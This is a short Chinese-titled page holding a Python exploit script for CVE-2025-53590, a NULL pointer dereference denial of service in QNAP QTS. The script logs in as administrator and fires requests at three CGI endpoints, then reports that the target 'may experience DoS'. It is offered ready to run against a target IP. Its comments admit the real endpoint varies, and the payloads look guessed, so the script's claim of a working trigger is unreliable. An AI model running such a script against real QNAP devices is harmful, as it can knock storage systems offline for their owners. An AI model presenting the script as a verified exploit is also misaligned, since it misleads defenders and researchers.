CVE-2025-53590 QNAP QTS NULL指针解引用拒绝服务漏洞

# CVE-2025-53590 PoC - NULL Pointer Dereference DoS # Target: QNAP QTS (versions before 5.2.7.3256 build 20250913) # Note: Requires valid administrator credentials # This PoC demonstrates the vulnerability trigger mechanism import requests import sys import time def exploit_qnap_null_pointer_deref(target_ip, username, password): """ Exploit NULL pointer dereference vulnerability in QNAP QTS Requires administrator-level access to trigger the vulnerability """ base_url = f"https://{target_ip}:8080" # Step 1: Authenticate with administrator credentials session = requests.Session() auth_data = { "username": username, "password": password } try: # Attempt authentication login_response = session.post(f"{base_url}/cgi-bin/authLogin.cgi", data=auth_data, verify=False, timeout=30) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated as administrator") # Step 2: Trigger NULL pointer dereference via specific API request # The exact API endpoint varies by QTS version exploit_payloads = [ "/cgi-bin/sys/sysRequest.cgi?submodule=network&action=test", "/cgi-bin/smbdRequest.cgi?function=enum_sessions", "/cgi-bin/fileRequest.cgi?target=NULL" ] for payload in exploit_payloads: print(f"[*] Testing payload: {payload}") response = session.get(f"{base_url}{payload}", timeout=10) time.sleep(1) print("[+] Exploit payload sent - Target may experience DoS condition") return True except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python cve-2025-53590.py <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print("CVE-2025-53590 - QNAP QTS NULL Pointer Dereference DoS Exploit") print("=" * 60) exploit_qnap_null_pointer_deref(target, user, pwd)